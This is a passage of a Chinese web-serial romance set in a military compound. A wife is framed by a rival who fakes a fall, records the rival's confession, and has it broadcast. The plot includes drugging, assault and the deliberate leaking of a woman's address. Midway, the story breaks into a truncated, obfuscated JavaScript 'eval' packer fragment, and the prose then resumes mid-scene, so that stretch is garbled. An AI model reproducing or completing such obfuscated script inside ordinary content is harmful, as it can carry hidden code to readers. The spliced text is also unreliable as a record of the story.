霍沉舟就喜欢看她这样，让他想起每次缠绵时，她也是这样，明明羞得全身泛粉，却还是乖巧地任由他索取。 …… 第二天一早，军区广播站和各单位公告栏同时发布了通知： “经军区党委研究决定，霍沉舟同志因承担重要战备任务，将原定进修名额由二团沈振华同志接替。” 通知最后还特别强调："近期个别人员散布不实言论，已损害霍沉舟同志家属沈晚同志的声誉，如若继续散布谣言，将严厉处分！" 这份措辞严厉的通知一出，整个军区哗然。 有几个昨天还质问过沈晚的军属都来给她道歉了： "沈同志啊，都怪我们耳根子软，听风就是雨。" "是啊是啊，我们昨天还那样质问你，真是太不应该了！" 谁知沈晚却以德报怨起来，毕竟以后还要当好些年的邻居："各位嫂子这事不怪你们，本来这事就传得突然，大家一时被误导也正常。" 众人见她如此大度，心中更是愧疚："我们还以为是你拖霍团长后腿呢，谁知道是上级想让他留下来！" "沈同志，以后谁再敢说你闲话，我第一个不答应！" 其他军属也纷纷附和："对！以后有啥需要帮忙的，尽管开口！" 李丽和苏琴杉看着沈晚被众人追捧的场景，恨不得想往沈晚脸上啐一口。 中午，沈晚特地去找霍沉舟一起吃饭。 走到办公楼底下的时候，沈晚突然看见了一道熟悉的身影。 她没想到在这看见了蒋雪，与此同时，蒋雪也看见她了，沈晚本来想直接进办公楼的，没想到蒋雪突然叫住她：“沈晚！” 沈晚停下脚步，转身平静地看着她："有事？" 蒋雪几步冲上前，眼中带着压抑的怒火："沉舟都是为了你才放弃进修的机会的！那可是去国防大学进修的机会！多少人挤破头都抢不到！" 她越说越激动："他那么优秀的人，本该有更好的前途！都是因为你拖累了他！" 沈晚静静听完蒋雪的指责，不仅没生气，反而轻笑出声。 蒋雪一愣，随即恼怒道："你笑什么？" "我在笑你是不是耳朵眼睛不好使啊？"沈晚慢条斯理地捋了捋头发，"早上发的通知你没看见没听见吗？霍沉舟留下来是因为部队需要他，什么叫为了我？还是说你觉得首长的决定是错误的？" 蒋雪冷笑一声："霍沉舟护着你，当然对外是这么说。你敢摸着良心说，你没有一点私心吗？" 沈晚十分坦然："我们俩是夫妻，有私心也正常啊。毕竟谁不希望自己的丈夫能多陪在身边呢？" 这番话像刀子一样扎进蒋雪心里。 凭什么她过得这么惨，被下药、被嘲笑，而沈晚却能拥有霍沉舟全心全意的爱和信任？ 蒋雪盯着沈晚那张明艳的脸，眼中闪过一丝怨毒，她突然上前一步，猛地抓住沈晚的手腕，低声道："沈晚，都是你毁了我的人生！" 沈晚下意识甩开她的手。 谁知蒋雪竟借着她甩手的力道，整个人向后踉跄几步，她们俩站的位置正是一个台阶上，蒋雪借着沈晚甩手的力道，故意往后踉跄几步，整个人从台阶上摔了下去。 "啊——！" 一声尖锐的痛呼响起，蒋雪重重跌坐在台阶下的水泥地上，脚腕发出"咔"的一声脆响。 她捂住脚踝，眼泪瞬间涌了出来："沈晚……你为什么要推我？" 周围来来往往的人群顿时停下脚步，对着这一幕指指点点。 沈晚站在台阶上，冷眼看着蒋雪自导自演的这出戏。 这个蒋雪真是疯了，她可是一位舞蹈演员，现在宁愿自己受伤，也要泼她一身脏水。 蒋雪见她不出声，以为她被自己的举动吓住了，哭得更加凄惨："沈晚，你为什么要推我？我知道你看不惯我，但我和霍团长只是普通朋友啊！你就算再嫉妒，也不能下这么重的手……我可是舞蹈演员，这脚要是伤了……" 周围的人一听，这沈晚不就是个妒妇吗？ 此时，有人见情况不对，跑进办公楼去找霍沉舟了。 不一会儿，霍沉舟大步流星地赶来，拨开人群，一眼就看见台阶下的蒋雪瘫坐在地，泪流满面，而沈晚则冷着脸站在高处。 他的心猛地一紧，三步并作两步冲上前，一把抓住沈晚的手腕："阿晚，你没事吧？" 第一百三十九章 你假装我对象 沈晚冲他摇摇头，示意自己没事。 蒋雪见霍沉舟来了，哭的梨花带雨，肩膀止不住地颤抖：“沉舟，我的脚腕好痛，我会不会再也跳不了舞了？我知道沈晚不喜欢我，但是没想到她会下这么重的手。” 霍沉舟眉头紧锁："阿晚不是这样不知轻重的人，她和你无冤无仇，怎么可能故意推你？这中间一定有误会。" 蒋雪抽泣着摇头："什么误会？刚才大家都看见了，就是她伸手推的我！" 周围的人群面面相觑，虽然刚才看起来确实是沈晚伸手后蒋雪才摔倒的，但碍于霍沉舟在场，谁也不敢贸然作证。 就在这时，一个尖锐的女声突然从人群中传来："我看见了！就是沈晚把这位女同志推倒的！" 沈晚和霍沉舟同时转头，发现说话的正是之前污蔑沈晚偷手表的陈美玲。 她叉着腰，一脸义愤填膺："霍团长，你可不能因为是你爱人就包庇她啊！" 霍沉舟的眼神骤然冷了下来："说话要讲证据，诬陷军属是要负法律责任的，你确定要为刚才的话负责吗？" 陈美玲被霍沉舟的眼神盯得后背发凉，但还是硬着头皮道："我、我这次可是亲眼所见！沈晚就是推了她！" 蒋雪没想到真有人给自己作证，心里暗喜，面上却更加柔弱。 她仰起苍白的脸，泪水涟涟地望着霍沉舟："沉舟，我脚腕可能骨折了，疼得动不了，你能先送我去医院吗？" 她伸出手，似乎想要霍沉舟扶她。 这时，听到动静的周卫国出来了，看见眼前这一幕，只觉得太阳穴突突地跳，这沈晚和霍沉舟还真都是不省心的！ 一群人堵在办公楼门前看热闹，成何体统？ 他板着脸轻咳一声："沉舟，你先把这位女同志送到医院去吧。" 霍沉舟刚要开口，周卫国就瞪了他一眼："有什么事等检查完再说！这么多人看着像什么话！" 霍沉舟脸色阴沉沉的，他清楚当前的局势，又没有证据直接证明沈晚没有推蒋雪，但是蒋雪有人证，如果一味地偏袒沈晚，将这件事闹大了，对沈晚的名声只会更不利。 他冷着脸抬手扶起蒋雪，却刻意避开她的手，只是拽住她的胳膊。 蒋雪见状，得意地朝沈晚投去一个挑衅的眼神。 沈晚站在原地，她知道霍沉舟是相信她的，可眼睁睁看着他扶着蒋雪上车，心里还是像堵了块石头般难受。 陈美玲见霍沉舟开车带着蒋雪走了，沈晚一个人孤零零地留在原地，心里不免幸灾乐祸起来。 让这个小贱蹄子之前仗着团长夫人的身份让她在那么多人面前丢脸，现在总算吃到苦头了。 车上，霍沉舟冷着脸一言不发。 蒋雪偷偷观察着他的神情，终于忍不住开口："沉舟，你这是在生我的气吗？怪我给你添麻烦了？" 霍沉舟扯了扯嘴角："你觉得呢？" 蒋雪脸上的笑容僵住了："你这不就是在怪我吗？但沈晚推了我也是事实，总不能当没发生过吧？" "你确定是沈晚推的你？"霍沉舟声音冷得像冰，"她是什么人，我心里再清楚不过。" 蒋雪被噎得脸色发白："既然你不相信我，现在又何必送我去医院？直接把我扔在那儿别管就是了！" 霍沉舟冷笑："我确实不信你。但以你的性格，如果我一味偏袒阿晚，你一定会把这件事闹得人尽皆知，我不考虑你，我也得考虑我家阿晚的名声吧？" 蒋雪听到他一口一个"阿晚"，嫉妒得几乎发狂："霍沉舟！你就这么护着她？明明我才是受害者！" “蒋雪，上次同学聚会，我看在你一个女孩子家失去了清白，没和你计较你搞小动作的事，你真当别人都是傻子是吗？” 蒋雪心知肚明霍沉舟是在说她给他下药的事情，心虚了片刻，随即又想到自己现在才是占理的那一方，便又抬起下巴说："沉舟，我也不是不明事理的人。今天这件事我可以不和沈晚计较，但是你得答应我一件事。" 霍沉舟没吭声，蒋雪本来也就不指望霍沉舟回答她，自顾自地说："你假装当我对象几天，在我爸妈面前装装样子，让他们相信我们在谈恋爱。然后你就借故要去京市进修，等过两个月，我就说不习惯两地分居，主动提分手。" 霍沉舟听完，唇角勾起一抹讥讽的笑容："蒋雪，你脑子不好就去治脑子。让我假装你对象？你是在侮辱我吗？" 蒋雪被他的话刺得脸色铁青："霍沉舟！你就不怕我去找军区领导投诉沈晚吗？我倒要看看，领导们是信我这个受害者，还是信她！" "你有胆子就去。如果阿晚因为你受了委屈，我不会放过你的。" 蒋雪看着男人冷峻的侧脸，丝毫不怀疑他说到做到的能力。 她原本确实打算去找领导闹事，可此刻在霍沉舟的威胁下，心里一阵阵发寒。 这个男人太可怕了！ 此时，沈晚被周卫国叫到了办公室里。 周卫国坐在办公椅上，深深叹了口气。 他打量着眼前的女子，心里百转千回： 他本来就是不喜欢沈晚的，前几年霍沉舟为了这个女人吃了多少苦头？好好的前程差点毁于一旦。后来见她确实改过自新，自己才勉强接纳。可这才消停多久？又闹出这种事？ "小沈，"周卫国放下茶杯，"你是不是怨我刚才让沉舟把人送去医院了？" 沈晚面无表情："没有。" 周卫国笑了笑："真没有？我看你心里应该挺难受的。我也相信你不是那种人。但是小沈啊，万事要以大局为重。" "沉舟是团长，手下管着上千号兵。今天这事，他二话不说就站在你这边，又没有确凿证据证明你的清白。让其他人看去，会怎么想？" "一个团长，若是只会护短，还怎么在部队里服众？怎么带兵打仗？" 沈晚抿了抿唇，无言以对。 "我知道你委屈，"周卫国叹了口气，"但军属不好当啊。有时候为了沉舟的前程，你得学会忍。" 第一百四十章 微型录音机 周卫国又看了一眼沈晚的脸色："我在部队待了大半辈子，说话直，你一会别哭鼻子了哈，不然沉舟以为我欺负你了嘞。" 沈晚微微扯唇："首长，我没有那么脆弱。" “我知道你是个好姑娘。"周卫国语气缓和了些，"但是沉舟都为了你做了多少事了？你想想，他为了不去京市进修和你分开，跟一群领导硬着杠，还整理出一份那么详细的建设方案，你被污蔑了，他第一时间也是找我发通知证明你的清白……” “所以啊，小沈，你得多替沉舟想想。今天这件事虽然错不在你，但你也要无则加勉，以后不要再给沉舟惹这种麻烦了。” 沈晚默默点头："嗯。" "行了，你出去吧。" 走出办公室，沈晚站在走廊上，胸口像是压了块大石头，闷得喘不过气。 她知道周卫国说的没错，霍沉舟能坐到今天这个位置上不容易。 他年纪轻轻就当上团长，背后不知有多少双眼睛盯着，稍有不慎就会被人抓住把柄，作为他的妻子，自己确实应该更谨慎些。 可心里那股憋屈感却挥之不去，明明她才是受害者，为什么反倒要反省？ 正出神间，顾战匆匆赶来："嫂子，你没事吧？" 他中午外出办事，刚回来就听说了这件事，见沈晚脸色难看，眼神黯淡，他心里很不是滋味："首长没说你什么吧？" 沈晚摇摇头，勉强扯出一抹笑："没有。" 她一直低着头，顾战弯腰从下方看了看她的脸色："嫂子，你要是想哭就别憋着了。" 沈晚被他这个举动逗得轻笑出声："我不想哭。" 顾战挠挠头："嫂子，今天这事我和团长肯定都相信你，你别听别人瞎说。" "放心吧，清者自清。"沈晚深吸一口气，压低声音问道，"对了，你有没有那种可以随身携带的录音设备？" 顾战点点头：“有，嫂子你是想……？” 两人对视一眼，不言而喻。 顾战笑了：“正好侦察连有进口的微型录音机，平时用来记录侦查情况的。"他做了个手势，"这么小，可以藏在口袋里。" “那你可以帮忙借出来几天吗？” "没问题！我明天就说要训练用，去器材室领一台出来。" 沈晚点了点头，心里有底了。 另一边，霍沉舟将车停在医院门口，冷声道："到了，下车。" 蒋雪咬着唇，装出一副柔弱的样子："沉舟，我脚腕疼得走不了路，你能不能扶我进去......" 霍沉舟眼神一厉："我给你三秒钟，自己下去。否则别怪我把你扔下去。" "霍沉舟！"蒋雪不敢置信地瞪大眼睛，"你就这么狠心？" "三、二——"霍沉舟已经开始倒数，手指敲打着方向盘，丝毫不为所动。 蒋雪见他来真的，吓得赶紧推开车门，踮着脚跳了下去。 还没等她站稳，身后的吉普车就猛地一个倒车，轮胎卷起的尘土呛得她直咳嗽。 "咳咳...霍沉舟！你混蛋！"蒋雪气得浑身发抖，眼睁睁看着吉普车扬长而去。 她站在医院门口，脚踝火辣辣的疼，心里更是恨得滴血。 霍沉舟根本不相信是沈晚推了她，那她今天这伤岂不是白受了？ 不，不行......蒋雪攥紧拳头。 她突然想起大学时期，班上组织捐款支援贫困山区学校时，霍沉舟曾提到过自己的老家就在水乡青山县，父母都是县一中的老师。 "青山县一中……"蒋雪眯起眼睛，心中有了想法。 …… 霍沉舟从医院回来后，本想直接回家找媳妇儿，却被紧急叫去参加防务会议，忙的脚不沾地。 沈晚回到家，赵晓燕看出她情绪低落，特意从家里端了一盘腌好的酸菜白肉和自家晒的干豆角过来陪她。 "妹子，来尝尝姐新腌的酸菜，可脆生了！"赵晓燕把碗筷摆好，见沈晚神色不对，关切地问，"咋了这是？跟姐说说。" 沈晚叹了口气，把今天蒋雪的事一五一十说了出来。 在她心里，赵晓燕早就像她亲姐姐一样，所以她没瞒着。 赵晓燕听得瞪大了眼睛："我的老天爷啊！那个蒋雪对自己可真够狠的，说摔就摔啊？不过妹子，我也真懂你心里这憋屈劲儿。" 她摸了摸小肚子，遗憾地叹气："要不是怀着这小崽子，姐非得陪你整两盅老白干，一醉解千愁！" 沈晚听到"酒"字，心里突然涌上一股冲动。 她抿了抿唇："赵姐，你家有酒吗？我想喝点。" 赵晓燕一愣，随即拍腿大笑："巧了不是！你张大哥从老家捎来两瓶高粱酒，就被我婆婆藏在厨房柜子底下。我给你拿去！" 黄春艳见赵晓燕从柜底翻出酒瓶，立刻像护崽的老母鸡一样扑过来："你拿酒干啥去？" 赵晓燕不耐烦地甩开她的手："小晚妹子想喝，我给她拿一瓶怎么了？" "哎哟！"黄春艳拍着大腿直跳脚，"你怎么这么败家啊？她想喝酒不会自己买啊？喝我家的干啥？" 她拽住酒瓶不撒手，"再说了，你怀着孕又不能喝，老实在家待着！" 赵晓燕看着婆婆这副刻薄嘴脸，气得太阳穴直跳："这酒是我男人从老家带来的，我爱给谁喝给谁喝！"她猛地一用力，把酒瓶抢了过来，"您要是不乐意看，回屋歇着去！" 黄春艳被怼得脸色铁青，指着赵晓燕的肚子骂道："你个没良心的！我这是为你好知不知道？怀着孕还这么折腾，要是把我孙子折腾没了——" "闭嘴！"赵晓燕突然暴喝一声，吓得黄春艳一哆嗦。 她红着眼睛吼道："整天孙子孙子的，要是生个闺女你是不是就要把我们娘俩赶出去？！" 黄春艳被这气势镇住了，缩着脖子不敢再吭声。 赵晓燕抱着酒瓶走了，留下黄春艳一个人在厨房里干瞪眼。 老太太气得直跺脚，却又无可奈何，只能对着空气骂骂咧咧："反了天了！等德志回来，看我不让他好好管管这个败家媳妇！" 第一百四十一章 堂堂霍团长翻窗 霍小川早早就回屋睡觉去了，沈晚和赵晓燕坐在客厅里，有一搭没一搭地聊着天。 赵晓燕把这些年受的委屈一股脑儿倒了出来，沈晚安静地听着，时不时抿一口酒，再跟着骂几句：“这死老太婆！” 赵晓燕眼睛亮亮的，虽然不能喝酒，但能把心里憋着的话都说出来，胸口的郁结也散了大半。 沈晚一边小口抿着酒，一边忍不住看向墙上的挂钟，都快十点了，霍沉舟怎么还没回来？难不成真要在医院给蒋雪陪床？ 酒劲慢慢上来，她感觉脑袋晕乎乎的，眼前的东西都蒙上了一层柔和的暖光。 虽然有些微醺，但心情反而比之前舒畅多了。 送走赵晓燕后，沈晚看了看时间，已经十点半了，霍沉舟还是不见人影。 她摇摇晃晃地站起身，闻到自己满身酒气，怕熏着霍小川，便钻进了霍沉舟的房间。 炕上还残留着男人熟悉的气息，沈晚把脸埋进枕头里，深深吸了一口气。 突然，她想起什么似的，又挣扎着爬起来，摇摇晃晃走到门前，"咔嗒"一声把门反锁上。 这下总算心满意足地倒回炕上，很快就睡着了。 霍沉舟回来的时候，家里静悄悄的。 他站在门口闻了闻自己身上浓重的烟味，今天下午去训练场盯演练，晚上又去开会抽了很多烟，整个人都浸透了汗水和烟草混合的气味。 进屋之后的第一件事，他就是把身上的外套脱了，避免一会熏到沈晚。 他轻手轻脚地走进屋，突然看见客厅桌上立着的空酒瓶，眉头顿时拧了起来，他不在家，沈晚和谁喝酒了？ 快步走到主卧，掀开帘子一看，炕上只有霍小川一个小鼓包，睡得正香。 霍沉舟愣了一下，随即想到什么似的，转身走向自己的房间。 他嘴角不自觉地上扬，这小女人，是在他炕上等着他呢。 霍沉舟的手刚搭上门把手，脸j上就挂不住笑了，门竟然纹丝不动，他不死心地又拧了拧，却依然推不开。 沈晚真的把他锁在外头了？为什么？ 霍沉舟心里一沉，迅速回想房门钥匙的位置，之前搬过来后，唯一一把备用钥匙被他随手放在侧卧里的床头柜里了。 他抿了抿唇，轻轻敲门："阿晚？" 里面静悄悄的，没有任何回应。 霍沉舟只好坐在客厅的板凳上，手指无意识地敲着膝盖，又过了片刻，他实在放心不下，沈晚背着他喝了酒，他得亲眼看见她才能放心。 沈晚正睡得迷迷糊糊，突然听到窗棂发出细微的"吱呀"声。 她困倦地睁开眼，借着朦胧的月光，赫然看见一个高大的黑影正从窗户翻进来！ 她瞬间惊醒，差点尖叫出声，却在下一秒硬生生憋了回去，这可是部队家属院啊！哪个小偷敢来这儿作案？ 定睛一看，那熟悉的轮廓，不是霍沉舟是谁？ "霍沉舟！"她压低声音怒道，"你大半夜翻自己家窗户干什么？！" 男人身形一顿，然后利落地跳进屋内，拍了拍手上的灰："叫了你半天没反应，担心你喝多了出事。" 沈晚又好气又好笑：“所以你就学贼翻窗？要是被别人看见，给你当小偷抓了，你堂堂霍团长不就丢尽颜面了？” 霍沉舟定定地看着她："那你为什么锁门？" 沈晚心里发闷，别过头不看他。 可霍沉舟偏偏不依不饶，她往哪边转，他就跟着挪到哪边，非要看清她的表情不可。 "……没事。"沈晚闷闷道。 霍沉舟凑近她，轻轻嗅了嗅："你喝了多少酒？" "没多少，"沈晚垂下眼睫，"就是和赵姐唠嗑，陪她喝了点高粱酒。" 霍沉舟抬手想摸摸她的脸，却被她下意识躲开了。 他心头一紧，声音沉了下来："怎么了？还在因为中午的事不高兴？" 沈晚摇摇头："没有......" 可她的表情分明写着"有事"。 霍沉舟叹了口气，直接踢掉鞋子，用被子将两人裹了个严严实实。 他低头用温热的唇轻轻碰了碰她的额头，声音低沉温柔："到底怎么了？跟我说说。" 见沈晚还是抿着嘴不说话，他又亲了亲她的鼻尖："是不是怪我中午没及时护着你？" “不是。” 霍沉舟耐心地继续啄吻她的脸颊：“那是气我送蒋雪去医院？” 沈晚扭捏道：“也不是吧。” “不是吧？”霍沉舟跟着念了一遍，低笑一声，随即认真道，“那就是在意这个了。” 他捧着她的脸，拇指轻轻摩挲她的眼角，“阿晚，对不起，今天的事都是因我所起，让你受委屈了。” 沈晚摇摇头：“我不怪你，我理解你当时的做法。毕竟在别人眼里蒋雪是受害者，她还有人证。如果一直僵持下去，我们反而占不到便宜。” 霍沉舟听到她这么懂事的话，心里更不是滋味。 他的媳妇儿明明受了委屈，却还在替他考虑，他低头亲了亲她微红的眼尾，声音沙哑：“媳妇儿，受委屈了。” 霍沉舟说最后一句话的时候，眸光微寒。 沈晚听着霍沉舟的话，心情稍微好了几分，干脆把自己心里的想法也给倒了出来，"周首长说作为军属，为了你的前程，要学会忍耐。其实我是愿意的，就比如送你去进修，只要是为你好的事，我是可以做的。" 她的声音渐渐低了下去："可是今天我突然觉得好累。" 霍沉舟听到这里，心脏猛地揪紧，手臂不自觉地收紧，将她牢牢锁在怀里："怎么，难道你还要和我离婚不成？" 沈晚扯了扯唇角，半开玩笑半认真道："今天还真有这个想法。" 话音刚落，她就感觉到霍沉舟浑身一僵。 下一秒，他直接将她压在炕上，黑眸沉沉地盯着她："沈晚，你想都别想，这辈子我都认定你了。" 沈晚还没反应过来，就被他狠狠吻住，这个吻带着惩罚的意味，又凶又急，直到她喘不过气来才松开。 "以后再说这种话，"霍沉舟抵着她的额头，气息不稳，"我就把你绑在床上，三天三夜不许下炕。" 第一百四十二章 由着她来吧 沈晚红着脸推他："你流氓！" 霍沉舟低笑一声："只对你流氓。" 两人紧紧抱在一起，良久，霍沉舟喃喃道：“阿晚，我以后不会再让你受委屈了。” 沈晚心中一动，轻声“嗯”了一下。 …… 而蒋雪那边，在医院检查完脚腕后，医生说："韧带严重拉伤，伤筋动骨一百天，至少得静养三个月才能恢复跳舞。这段时间绝对不能剧烈运动，否则会留下后遗症。" 所以蒋雪只能暂时住院了。 顾漫漫把这个消息告诉蒋父蒋母时，他们立马赶到医院了，看到女儿狼狈的样子都被吓了一跳。 "怎么回事？怎么伤成这样？" 蒋雪低着头，声音细若蚊蝇："就是不小心摔了一跤。" "你可是跳舞的！"蒋父又气又心疼，"这伤得养到什么时候？" 见女儿愧疚难受的样子，周美娟冲丈夫使了个眼色，示意他别说了。 给女儿掖了掖被角，周美娟柔声问道："小雪啊，你受伤的事那个霍沉舟知道吗？" 蒋雪眼神闪烁："知道。" "那他怎么回事？"周美娟顿时不满起来，"怎么不在这守着你？" 蒋父也板着脸："对啊，你们俩在谈恋爱，你都受伤了，他都不在这陪着你吗？" 面对父母的追问，蒋雪骑虎难下，只能硬着头皮把霍沉舟要去京市进修半年的事说了。 夫妻俩一听，更加不满起来，毕竟半年时间可不短，现在很多年轻人处对象两三个月就领证结婚了。 这要是耽搁半年，谁知道会不会出什么变故？ 周美娟还想追问细节，蒋雪却已经疲惫地躺下："妈，我头有点疼，想先休息了。" 夫妻俩对视一眼，也不好再说什么。 但看着女儿反常的样子，周美娟总觉得哪里不对劲，之前提起霍沉舟时明明那么热情，现在真处上对象了，反而遮遮掩掩的。 周美娟决定必须亲口找霍沉舟问问，对她女儿到底是个怎样的想法。 第二天，顾漫漫来看蒋雪时，蒋雪塞给她一封信："漫漫，帮我把这个寄到信封上的地址。" 顾漫漫低头一看："青山县一中？"她疑惑地抬头，"小雪，这是哪里？你为什么要往学校寄信？" 蒋雪眼中闪过一丝算计："没事，你就别多问了。记住，一定要用普通邮递，别登记你的信息。" 顾漫漫虽然满腹疑问，但看着闺蜜恳求的眼神，还是把信收进了包里："好，我下午就去寄。" 霍沉舟刚到办公室，顾战就风风火火地跟了进来，顺手关上门："团长，昨天嫂子问我要了个录音机。" 霍沉舟挑眉："东西呢？" 顾战从怀里掏出一个火柴盒大小的黑色金属盒，上面带着细密的小孔和一个红色按钮："这是去年从国外进口的，侦察连就两台。" 霍沉舟接过来在手里掂了掂，沉甸甸的，隐约明白了沈晚的打算。 "由着她来吧。"霍沉舟将录音机抛回给顾战，沉吟片刻又道，"你去查查曹振国的家庭住址。" "曹振国？"顾战一愣，他不认识曹振国。 霍沉舟冷笑一声："去公安局查，他现在还在里面蹲着。查清楚他父母住哪儿。" 顾战挠了挠头："查他干什么？" "曹振国给蒋雪下药，现在被抓进去了。"霍沉舟眸光冰冷，"他父母肯定急着找蒋雪签谅解书，好减轻刑罚。以蒋雪的性子，绝对不会同意，更不会向他们透露自己的住址。" 顾战恍然大悟："所以团长你是想......借刀杀人？" "去吧。" "是！" 顾战立刻行动起来。 他先去了公安局，亮出军官证后，值班民警二话不说就调出了曹振国的档案。 "他父母住在城东机械厂家属院3栋201，"民警指着登记本，"老两口来闹过好几次了，非要见受害人家属。" 拿到地址后，顾战换了身便装，骑自行车来到机械厂家属院。 他在3栋楼下转悠了两圈，确认201的阳台上晾着几件老人衣服后，从兜里掏出一张事先准备好的纸条。 "蒋雪，现住在城西纺织厂后街红砖楼4单元503。" 顾战左右张望了一下，趁没人注意，将纸条塞进了201的门缝里。 曹父曹母回家后，一眼就发现了地上的纸条。 曹父捡起来一看，浑浊的眼睛顿时亮了起来："是那个蒋家的地址！" 虽然不知道是谁送来的消息，但为了还在牢里的儿子，老两口决定死马当活马医。 他们拎着攒了半年的鸡蛋和腊肉，又拿了五十块钱，坐上了去城西的公交车。 几经周折，两人终于找到了纺织厂后街那栋红砖楼。 曹母爬楼梯时问："老头子，要是这家人不认账咋办？" 曹父咬咬牙："不认也得认！振国可是为了这姑娘才进去的！" 此时周美娟正在给蒋雪炖鸡汤，想着一会儿送到医院去给女儿补补身体，蒋晓东正坐在沙发上看报纸。 这时，突然听到门外传来敲门声。 蒋晓东打开门，看见门口站着一对穿着朴素、面容憔悴的中年夫妇，皱起眉头："你们谁啊？" 周美娟听到动静，也擦着手从厨房走出来："老蒋，谁来了？" 曹父曹母对视一眼，曹父颤声问道："你们是蒋雪的父母吗？" 蒋晓东不耐烦地点点头："是啊，你们到底有什么事？" 曹父突然将手里提着的鸡蛋和腊肉放在地上，拉着曹母"扑通"一声跪了下来。 "哎哟！你们这是干什么？！"周美娟被吓了一跳。 蒋晓东也慌了神，走廊上已经有邻居探头张望，他压低声音急道："快起来！有什么话好好说，跪着像什么话！" 曹母泪流满面地抓住蒋晓东的裤脚："大兄弟，求求你们救救我儿子吧！他都是为了你们家闺女才坐牢的啊！" 周美娟脸色唰的一下白了："什、什么坐牢？你们是不是认错人了？" 曹父从怀里掏出一张判决书："我儿子曹振国，就是因为你们家蒋雪，现在被判了五年啊！" 第一百四十三章 沈晚反击 蒋晓东把曹父曹母拉进家里。 彼时，蒋家乱成了一锅粥，周美娟听到自己女儿竟然被曹振国毁了清白，眼白一翻，差点晕过去，蒋晓东也是一脸阴沉。 曹父曹母把此行的目的也说了，希望蒋雪能够签谅解书，最好是能直接把曹振国保出来，就说两个人是自愿的。 周美娟听到两人如此厚颜无耻的请求，气得浑身发抖，抄起扫把就往两人身上打，"滚！都给我滚出去！" 等把曹家老两口轰出门后，周美娟瘫坐在地上嚎啕大哭："老蒋，这可怎么办啊！要是传出去，小雪以后还怎么做人……" 蒋晓东阴沉着脸在客厅来回踱步：“咱现在就去找小雪问清楚，万一是有什么误会呢？” 周美娟如梦初醒，擦了擦脸上的泪水：“对对，我家小雪才不会干出这种不要脸的事情，她现在不是正和霍沉舟谈恋爱呢吗？肯定是误会。” 周美娟和蒋晓东急匆匆往医院赶时，沈晚已经先一步到了。 她摸了摸兜里的微型录音机，来之前顾战教得很仔细："红色按钮是录音，黑色是停止。记住，一次只能录30分钟。" 沈晚深吸一口气，按下红色按钮，确认指示灯亮起后，推开了蒋雪的病房门。 病床上的蒋雪正百无聊赖地翻着杂志，听到动静头也不抬："妈，你给我带了什么好吃的？" "蒋雪，是我。" 蒋雪猛地抬头，脸色瞬间扭曲："沈晚？！"她抓起枕头就砸过去，"你来干什么？滚出去！" 沈晚轻松躲过，反手关上门："别激动，我就是来跟你聊聊。" "我跟你没什么好聊的！" 沈晚不慌不忙地拉过椅子坐下：“急什么？你和我没什么好聊的，我和你倒是有很多话想说。” 蒋雪看见沈晚只有一个人来，放松了警惕：“你想和我聊什么？聊你昨天被冤枉的滋味？” 沈晚没想到自己还没开口，蒋雪就直接自曝了。 她微微一笑："你这演技，不去演戏可惜了，偏偏当什么舞蹈演员？不得不说，你对自己可真狠啊。" 蒋雪冷笑一声，眼中闪烁着疯狂的光芒："只要能让你难受，让你日子不好过，我做什么都值得！沈晚，你现在遭受的这点委屈，比不上我痛苦 的万分之一！都是你毁了我！" 沈晚神色平静地看着她："我毁了你？药难道是我给你下的？" 蒋雪歇斯底里地喊道："要不是你跟着沉舟来参加同学聚会，现在站在他身边的人就该是我！那天晚上我明明计划得好好的……只要他喝下那瓶汽水，他就是我的了！" 沈晚摇摇头，眼神厌恶："你错了，大错特错。" 蒋雪一愣："我错什么了？" "就算你得逞了，"沈晚一字一句道，"霍沉舟和你发生了什么，他也绝不会和你在一起，你以为用这种下作手段就能得到他？那只会让他更看不起你。" 蒋雪脸色煞白，嘴唇颤抖着却说不出反驳的话。 沈晚继续道："更何况，你真以为你那点小把戏能瞒过他？" 她轻笑一声：“那天晚上他早就发现那瓶汽水不对劲了。 蒋雪明显被沈晚的话刺激到了，她深吸一口气，随即扯出一抹冷笑："没事，现在至少在所有人眼中，你就是一个把我狠心推倒，心思恶毒的女人！" 沈晚已经拿到了想要的证据，懒得再和她纠缠，只是无所谓地耸耸肩："也许吧。" 说完便转身离开病房。 蒋雪盯着沈晚的背影，心里突然涌上一股莫名的不安，沈晚的反应太反常了，按理说她应该气急败坏才对，现在怎么这么镇定？ 还没等她想明白，病房门再次被推开。 蒋雪看见自己父母一起进来，勉强扯出一抹笑："爸，妈，你们怎么一块来了？" 周美娟和蒋晓东都没吭声，脸色阴沉得可怕。 蒋雪察觉到气氛不对，试探地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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包括蒋雪亲口承认自己是故意摔倒污蔑沈晚还有给霍沉舟下药的事情。 所有人都惊呆了。 不认识蒋雪和沈晚的还好但是偌大的军区其中也有不少认识两人的都觉得吃了一口大瓜。 天呐文工团的蒋雪竟然是这么一个心思狠毒之人！ 第一百四十四章 你和他结婚 病房里，蒋晓东和周美娟原本还在质问蒋雪，突然听到窗外传来的广播声，顿时愣在原地。 蒋雪的脸色"唰"地变得惨白如纸，沈晚那个**！竟然偷偷录音了？！ 她急得想去拉父母的手："爸！妈！你们听我解释……" 但周美娟和蒋晓东已经冲到窗前，屏息听着广播里的每一个字。 当听到女儿被下药时，他们已经相信了曹振国父母的话。 周美娟眼前一黑，差点晕厥过去："小雪，你怎么能干出这么不知羞耻的事？" 蒋晓东更是气得浑身发抖，扬手就给了蒋雪一耳光："我们蒋家的脸都被你丢尽了！" 蒋雪的眼泪瞬间涌了出来："爸！妈！我也不知道为什么会这样，我也是受害者啊！是那个曹振国趁我不注意偷偷给我下了药。" 她哭得撕心裂肺，这到底是她的女儿，周美娟不禁心软了几分，她抱着蒋雪一起哭起来："我苦命的女儿啊！" 蒋雪这段时间内心的煎熬和委屈终于爆发，埋在母亲怀里哽咽道："妈." 蒋晓东听见母女俩的哭声，忍不住低斥一声："哭什么哭！还嫌不够丢脸吗？" 周美娟和蒋雪吓得立即止住哭声，只能小声抽噎。 周美娟抹着眼泪问："老蒋，你说现在该怎么办啊？" 蒋晓东面色铁青地思索片刻："我们家丢不起这个脸！现在唯一的办法，我们把曹振国保出来，你和他结婚！" "什么？！"蒋雪如遭雷击，猛地从母亲怀里抬起头，"我不嫁！那个流氓、**犯！我死也不嫁给他！" 蒋晓东又是一巴掌甩在她脸上："你婚前都干出这种不知廉耻的事了，还有什么资格挑三拣四？现在全军区都知道你那些丑事，除了曹振国，谁还要你？" 蒋雪绝望道："爸！求求你，我可以离开这里，去外地重新开始。" 